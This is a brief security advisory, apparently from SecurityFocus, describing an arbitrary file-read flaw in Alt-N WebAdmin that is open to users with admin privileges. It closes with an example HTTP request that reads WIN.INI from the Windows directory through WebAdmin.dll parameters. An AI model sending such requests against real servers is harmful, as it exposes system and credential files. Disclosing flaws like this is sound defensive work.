source: http://www.securityfocus.com/bid/7438/info

Alt-N WebAdmin allows a remote user to access files that they should not be able to access. The remote user can submit an HTTP request that will return the contents of any webserver-readable file on the system.

NOTE: The user must have administrative privileges in WebAdmin to access these files.

http://server/WebAdmin.dll?Session=X&Program=MDaemon&Directory:Name=C:\WINNT&File:Name=WIN.INI&View=ViewFile